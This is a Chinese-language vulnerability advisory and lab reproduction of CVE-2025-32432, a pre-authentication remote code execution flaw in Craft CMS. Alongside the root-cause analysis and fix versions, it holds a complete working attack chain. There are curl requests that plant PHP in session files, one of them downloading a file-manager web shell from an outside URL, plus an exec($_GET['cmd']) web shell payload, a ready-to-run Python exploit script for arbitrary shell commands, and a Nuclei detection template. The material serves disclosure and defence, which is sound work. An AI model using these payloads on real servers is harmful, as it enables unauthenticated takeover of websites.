Craft CMS远程代码执行漏洞CVE-2025-32432
Craft CMS 是灵活而强大的内容管理系统(CMS),以用户友好的界面、强大的插件生态系统及支持现代web开发最佳实践的特性而闻名。
Craft CMS 是用户友好的内容管理系统,专为创意团队和开发人员设计,以提供高度可定制、直观且性能优越的网站和内容管理解决方案。
Craft CMS是一个流行的内容管理系统,基于PHP和Yii框架开发,提供了强大的内容建模功能和灵活的模板系统,被全球数千个网站使用。
一、基本情况
Craft CMS 是一个基于 PHP 开发的自托管应用,后端使用 MySQL 或 Postgres 数据库,同时使用了Twig模板引擎来简化页面模板的编写。
Craft CMS 适用于需高度定制性、卓越性能和直观内容管理界面的创意项目、企业网站及复杂内容驱动场景,具有高度可定制性和灵活性。

Craft CMS 的主要编程语言是 PHP,这是一个Composer启动项目,旨在通过 composer create-project 命令快速开始新的Craft CMS项目。
栋科技漏洞库关注到 Craft CMS 受影响版本中存在一个安全漏洞,该漏洞现在已经被追踪为CVE-2025-32432,漏洞CVSS 3.X评分为10。
二、漏洞分析
CVE-2025-32432是Craft CMS中的高危漏洞,攻击者可构造恶意请求利用generate-transform端点触发反序列化执行任意代码控制服务器。
漏洞允许未经身份验证攻击者通过向/actions/assets/generate-transform端点发送特制POST请求,利用PHP反序列化漏洞实现RCE。
部分漏洞代码如下:
CHANGELOG.md
# Release Notes for Craft CMS 3.x
## Unreleased
- Fixed an RCE vulnerability.
## 3.9.14 - 2024-12-19 [CRITICAL]
- Fixed an RCE vulnerability.
src/controllers/AssetsController.php
} else {
$assetId = $this->request->getRequiredBodyParam('assetId');
$handle = $this->request->getRequiredBodyParam('handle');
if (!is_string($handle)) {
throw new BadRequestHttpException('Invalid transform handle.');
}
$assetModel = Craft::$app->getAssets()->getAssetById($assetId);
if ($assetModel === null) {
throw new BadRequestHttpException('Invalid asset ID: ' . $assetId);
具体而言,这是一个PHP反序列化漏洞,位于Craft CMS的资产转换(Asset Transform)生成功能中,漏洞产生源于多个安全问题的叠加:
1、 不安全的反序列化
// 伪代码示例 - 易受攻击的代码模式
public function actionGenerateTransform() {
$data = Craft::$app->getRequest()->getBodyParams();
// 危险:直接使用用户输入构造对象
$transform = new AssetTransform($data['handle']);
// 如果$data['handle']包含恶意的序列化对象...
return $this->processTransform($transform);
}
2、资产ID验证时机问题
在不同版本的Craft CMS中,资产ID的验证时机不同:
Craft 3.x: 在创建转换对象之前检查资产ID
Craft 4.x/5.x: 在创建转换对象之后检查资产ID
这意味着在4.x和5.x版本中,即使提供了无效的资产ID,恶意的反序列化代码也会先被执行。
3、缺乏类型验证
代码没有验证__class参数的有效性,允许攻击者实例化任意类:
// 易受攻击的代码模式
if (isset($data['__class'])) {
$className = $data['__class'];
// 危险:没有验证$className是否是允许的类
$object = new $className($data);
}
4、PHP魔术方法的滥用
PHP的魔术方法(如__destruct(),__toString(),__wakeup()等)在反序列化攻击中扮演关键角色。
GuzzleHttp\Psr7\FnStream类的设计允许配置回调函数:
// GuzzleHttp\Psr7\FnStream 类的简化代码
class FnStream {
private $_fn_close;
public function __destruct() {
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close); // 危险:调用用户控制的函数
}
}
}
5、Yii框架漏洞(CVE-2024-58136)
CVE-2024-58136加剧了这个问题:
// Yii 2.0.51及之前版本的易受攻击代码
public function attachBehavior($name, $behavior) {
// 如果$behavior是数组且包含'__class'
if (is_array($behavior) && isset($behavior['__class'])) {
$className = $behavior['__class'];
// 缺乏验证,直接实例化
$behavior = Yii::createObject($behavior);
}
// ...
}
6、安全设计缺陷
信任边界不清晰: 将用户输入直接用于内部对象构造
深度防御不足: 缺少多层验证机制
白名单机制缺失: 没有限制可实例化的类
输入验证不足: 对JSON payload的结构和内容验证不充分
四、POC概念验证
1、上下文
如之前所述,攻击者发出了三种类型的请求,我们可以使用curl进行模拟:
# request calling phpinfo
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -b '<cookies>'
# request pushing PHP code
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
# request triggering the PHP code
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'
然而,仅仅尝试重新发送请求并没有在我们的实验室实现代码执行,相反却出错。
注意: CraftCMS 平台使用 Yii 框架。
2、创建一个复制漏洞的环境
我们创建了一个实验室来重现漏洞:
# Clone repo
$ git -c advice.detachedHead=false clone https://github.com/craftcms/craft.git --panch 4.1.0 --depth 1 --quiet lab
# Edited version to have the one used in the attack.
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json.default
# Ran composer install
composer install -q --no-ansi --no-interaction --no-scripts --no-progress --no-dev --prefer-dist
# Setup a postgres database with the craft/craft credentials, and the craft database name
# Installed necessary php extensions
# Ran initial setup steps
php craft setup/keys --interactive 0 >/dev/null
php craft setup/db --interactive 0 --driver pgsql --server 127.0.0.1 --user craft --password craft --database craft >/dev/null
php craft install/craft --interactive 0 --email admin@localhost.fr --language en_US --password password --site-name cve --site-url http://localhost:8080 --username admin >/dev/null
# Ran server
./craft serve
3、触发phpinfo
目标端点如下:/index.php?p=admin/actions/assets/generate-transform。
它映射到AssetsController::actionGenerateTransform函数,该函数不需要认证。
以下是其代码片段:
public function actionGenerateTransform(?int $transformId = null): Response
{
try {
// If a transform ID was not passed in, see if a file ID and handle were.
if ($transformId) {
// ...
} else {
$assetId = $this->request->getRequiredBodyParam('assetId');
$handle = $this->request->getRequiredBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle);
$transformer = $transform?->getImageTransformer();
}
} catch (\Exception $exception) {
// ...
}
// ...
}
注意:此路线接受JSON输入。
正如我们所看到的,它首先检查是否传递了一个transformId。
如果没有,else分支被采取,然后调用ImageTransforms::normalizeTransform函数,带有用户指定的参数。
尝试调用它会给我们一个CSRF验证错误,我们可以在配置中暂时禁用它。我们还启用开发者模式,给我们提供堆栈跟踪信息。
return GeneralConfig::create()
// ...false
->devMode(true)
->enableCsrfProtection(false)
;
再次尝试我们的第一个请求,我们得到了一个phpinfo,这意味着我们达到了代码执行:
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -H 'Content-Type: application/json'
...
<title>PHP 8.2.28 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
...
然而,我们只能调用一个没有参数的函数——这对攻击者来说帮助不大。
4、理解为什么 phpinfo 被称为
让我们更深入地研究代码。该normalizeTransform函数检查我们的输入是否有效,并从中创建一个新的ImageTransform。
public static function normalizeTransform(mixed $transform): ?ImageTransform
{
// ...
if (is_array($transform)) {
// ...
return new ImageTransform($transform);
}
// ...
}
该ImageTransform类的构造函数在其父类中定义:Model.
public function __construct($config = [])
{
// ...
App::configure($this, $config);
// ...
}
它调用App::configure根据给定的配置设置其属性。此函数是一个简单的for循环:
public static function configure(object $object, array $properties): void
{
foreach ($properties as $name => $value) {
$object->$name = $value;
}
}
回顾我们的有效载荷,这意味着我们可以将我们的代码简化到:
<?php
require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';
use craft\Craft;
use craft\models\ImageTransform;
$model = new ImageTransform();
$model['width'] = 123;
$model['height'] = 123;
$model['as session'] = [
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => 'phpinfo',
];
执行它给我们一个phpinfo:
$ php replica.php
PHP Version => 8.2.28
...
查看 ImageTransform,它扩展了 Model,扩展了 Yii 的 Model,最终是一个 Yii Component。
as session语法在 其配置指南中规定:
as behaviorName元素指定了应附加到对象上的行为。
请注意,数组键是通过在行为名称前添加as来形成的;值$behaviorConfig代表创建行为的配置,就像这里描述的普通配置一样。
现在我们需要了解行为:
行为是yii\base\Behavior的实例,或其子类的实例。行为也称为混合,允许您在不更改类的继承关系的情况下增强现有组件类的功能。
将行为附加到组件中会“注入”行为的方法和属性到组件中,使这些方法和属性可以像在组件类中定义一样访问。
此外,行为可以响应组件触发的事件,这使得行为也可以自定义组件的正常代码执行。
所以总结一下,使用as x语法,我们能够将一个行为(即一个mixin)附加到一个组件上。
非常有趣!但它并没有解释为什么我们能够实例化一个任意的类。让我们深入研究,看看__set函数本身。
public function __set($name, $value)
{
$setter = 'set' . $name;
if (method_exists($this, $setter)) {
// ...
} elseif (strncmp($name, 'on ', 3) === 0) {
// ...
} elseif (strncmp($name, 'as ', 3) === 0) {
// as behavior: attach behavior
$name = trim(substr($name, 3));
if ($value instanceof Behavior) {
$this->attachBehavior($name, $value);
} elseif (isset($value['class']) && is_subclass_of($value['class'], Behavior::class, true)) {
$this->attachBehavior($name, Yii::createObject($value));
} elseif (is_string($value) && is_subclass_of($value, Behavior::class, true)) {
$this->attachBehavior($name, Yii::createObject($value));
} else {
throw new InvalidConfigException('Class is not of type ' . Behavior::class . ' or its subclasses');
}
return;
}
// ...
}
查看第三分支,我们注意到 $value['class'] 的值被彻底检查。只有当给定的类是 Behavior 的子类时,我们才允许创建对象。
回到我们的有效载荷,我们有两个类,这似乎很奇怪:
$model['as session'] = [
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => 'phpinfo',
];
如果我们移除其中一个,执行会失败。为了理解为什么,我们将直接查看Yii::createObject函数:
public static function createObject($type, array $params = [])
{
if (is_string($type)) { /* ... */}
if (is_callable($type, true)) { /* ... */}
if (!is_array($type)) { /* ... */}
if (isset($type['__class'])) {
$class = $type['__class'];
unset($type['__class'], $type['class']);
return static::$container->get($class, $params, $type);
}
if (isset($type['class'])) {
$class = $type['class'];
unset($type['class']);
return static::$container->get($class, $params, $type);
}
throw new InvalidConfigException('Object configuration must be an array containing a "class" or "__class" element.');
}
哈哈!这个createObject函数允许同时使用__class和class属性。
这是利用的方式:
它设置了一个有效的class属性,意味着Component::__set的检查通过了,
它还设置了一个任意的__class属性,该属性用于首先在BaseYii::createObject中。
我们可以通过在利用代码中指定另一个有效的行为来验证这一点:
$ grep -R 'extends Behavior' .
...
./vendor/yiisoft/yii2/base/ActionFilter.php:class ActionFilter extends Behavior
...
$ cat replica.php
<?php
require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';
use craft\Craft;
use craft\models\ImageTransform;
$model = new ImageTransform();
$model['as session'] = [
'class' => 'yii\\base\\ActionFilter',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => 'phpinfo',
];
$ php replica.php
PHP Version => 8.2.28
...
它仍然有效!现在我们需了解为什么Guzzle被调用。任何对PHP反序列化攻击稍有了解的人都会从PHP gadget chains中认出这个名称。
查看其源代码,可以清楚地看到它在析构函数中调用了任何任意函数:
/**
* The close method is called on the underlying stream only if possible.
*/
public function __destruct()
{
if (isset($this->_fn_close)) {
($this->_fn_close)();
}
}
需要__construct参数,否则对象构造器会失败。
万岁!我们明白了攻击者的第一个请求。
5、执行任意PHP代码
攻击者的第二个和第三个请求似乎实现了完整的代码执行:
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'
查看 PhpManager类,我们知道当 itemFile类变量被设置时,它允许任意文件包含。
public function init()
{
parent::init();
$this->itemFile = Yii::getAlias($this->itemFile);
$this->assignmentFile = Yii::getAlias($this->assignmentFile);
$this->ruleFile = Yii::getAlias($this->ruleFile);
$this->load();
}
protected function load()
{
$this->children = [];
$this->rules = [];
$this->assignments = [];
$this->items = [];
$items = $this->loadFromFile($this->itemFile);
// ...
}
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
因此,我们可包含一个文件。若allow_url_include处于启用状态,那么我们可简单地指定一个有效的URL。但是这个设置默认是禁用的。
攻击者加载代码来自/var/lib/php/sessions/sess_YYY,而不是来自特定会话的会话存储。
我们能够通过调用/var/lib/php/sessions将代码插入到admin/dashboard中,并在文件系统中搜索它:
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
...
< HTTP/1.1 302 Found
< Host: 127.0.0.1:8080
< Date: Wed, 09 Apr 2025 12:43:21 GMT
< Connection: close
< Set-Cookie: CraftSessionId=a31t5708djlbeo38u0qlubdb4n; path=/; HttpOnly
...
< Location: http://127.0.0.1:8080/admin/login
...
$ cat /var/lib/php/sessions/sess_a31t5708djlbeo38u0qlubdb4n
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:196:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>";
据我们了解,通过查看序列化数据__returnUrl|s:196,代码存储在“返回网址”中,用户在登录到管理面板后会被重定向到该网址。
现在我们可以把所有的东西放在一起调用whoami:
# the `-g` flag is necessary to avoid curl refusing to send invalid characters in the URL
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -vvv -g
...
< Set-Cookie: CraftSessionId=9ve2k7rr4d3h46d97cnakm1rjv; path=/; HttpOnly
...
# execute 'whoami' and get 'craft' back (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_9ve2k7rr4d3h46d97cnakm1rjv"}]}}}' -H 'Content-Type: application/json'
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft
我们得到了命令的输出!我们成功地运行了<?=exec($_GET['cmd']);die()?>.
6、重新添加CSRF验证
当重新启用CSRF验证时,一切停止工作。幸运的是,我们能从重定向到的登录页面中提取有效CSRF令牌,并像文档中所述那样传递它:
# Push our payload, get redirected to the login page (with the -L flag), and save cookies (with the -c flag)
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -g -s -L -c cookie-jar | grep '<input type="hidden" name="CRAFT_CSRF_TOKEN"'
<input type="hidden" name="CRAFT_CSRF_TOKEN" value="aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=">
# Find the cookie value
$ grep CraftSessionId cookie-jar
#HttpOnly_127.0.0.1 FALSE / FALSE 0 CraftSessionId 2s3ea5ttji1svna46et13802qs
# Trigger the code, execute 'whoami' and get 'craft' back (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_2s3ea5ttji1svna46et13802qs"}]}}}' -H 'Content-Type: application/json' -H 'X-CSRF-Token: aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=' -b cookie-jar
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft
自动化杀伤链 ourselves
像TA那样,我们自动化了利用过程。这有点棘手,因为pythonrequest模块会自动为传出请求添加引号,所以我们不得不黑客urllib3模块。
以下代码可以用于在易受攻击的服务器上执行任意 shell 命令:
# Author: Nicolas Bourras (Orange Cyberdefense)
# Valid for 3.x, 4.x, 5.x
import sys
import urllib
import urllib3
import requests
url = sys.argv[1]
cmd = sys.argv[2]
asset_id = sys.argv[3] if len(sys.argv) == 4 else ''
php_code = f'<?=exec($_GET["cmd"]);die()?>'
print('[*] CraftCMS CVE-2025-32432 PoC')
def custom_make_request(self, conn, method, url, **httplib_request_kw):
url = urllib.parse.unquote(url)
return self._original_make_request(conn, method, url, **httplib_request_kw)
urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request
print('[+] Making initial request to push payload and get a CSRF token..')
print(f'[+] Pushing the following code: {php_code}')
s = requests.Session()
res = s.get(f'{url}/index.php', params=f'p=admin/dashboard&a={php_code}')
print(f'[+] Got response {res.status_code}')
session_id = s.cookies['CraftSessionId']
print(f'[+] PHP code pushed in the session with ID: {session_id}')
line = next(
l for l in res.text.split('\n')
if '<input type="hidden" name="CRAFT_CSRF_TOKEN"' in l
)
token = line.split('value="', 1)[1].split('"', 1)[0]
print(f'[+] Found CSRF TOKEN: {token}')
print('[+] Triggering code via assets/generate-transform')
# trigger it
params = {
'p': 'actions/assets/generate-transform',
'cmd': cmd,
}
res = s.post(f'{url}/index.php', params=params, json={
'assetId': asset_id,
'handle': {
'width': 123,
'height': 123,
'as hack': {
'class': 'craft\\behaviors\\FieldLayoutBehavior',
'__class': 'yii\\rbac\\PhpManager',
'__construct()': [{
'itemFile': f'/var/lib/php/sessions/sess_{session_id}',
}]
}
}
}, headers={
'X-CSRF-Token': token,
})
print(f'[+] Got response {res.status_code}')
if '?p=admin/dashboard&a=' not in res.text:
print('[!] Invalid output detected. If running under a 3.x version, the given asset ID may be invalid.')
print('[!] Try specifying an asset ID, and testing different values (its an incremental integer, starting at 0).')
print('[+] Command output:')
# remove leading text
text = res.text
text = text.split('?p=admin/dashboard&a=', 1)[1]
print(text)
此外,编写了一个核模板来帮助识别易受攻击的4.x和5.x服务器:
id: CVE-2025-32432
info:
name: CVE-2025-32432 - RCE Preauth in CraftCMS (detection for 4.x and 5.x instances)
author: Nicolas Bourras (Orange Cyberdefense)
severity: critical
http:
- raw:
- |
GET /index.php?p=admin/dashboard HTTP/1.0
Host:
- |
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.0
Host:
Content-Type: application/json
X-CSRF-Token:
{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}
redirects: true
extractors:
- type: xpath
name: csrf-token
attribute: value
internal: true
xpath:
- //input[@type="hidden" and @name="CRAFT_CSRF_TOKEN"]
matchers:
- type: word
part: body
words:
- 'If you did not receive a copy of the PHP license'
注意: 3.x服务器不适用于此模板,因为需要发送大量请求才能找到有效的资产ID。
五、影响范围
Craft CMS3.x 3.0.0-RC1 至 3.9.14
Craft CMS4.x 4.0.0-RC1 至 4.14.14
Craft CMS5.x 5.0.0-RC1 至 5.6.16
六、修复建议
Craft CMS >= 5.6.17
Craft CMS >= 3.9.15
Craft CMS >= 4.14.15
七、参考链接
管理员已设置登录后刷新可查看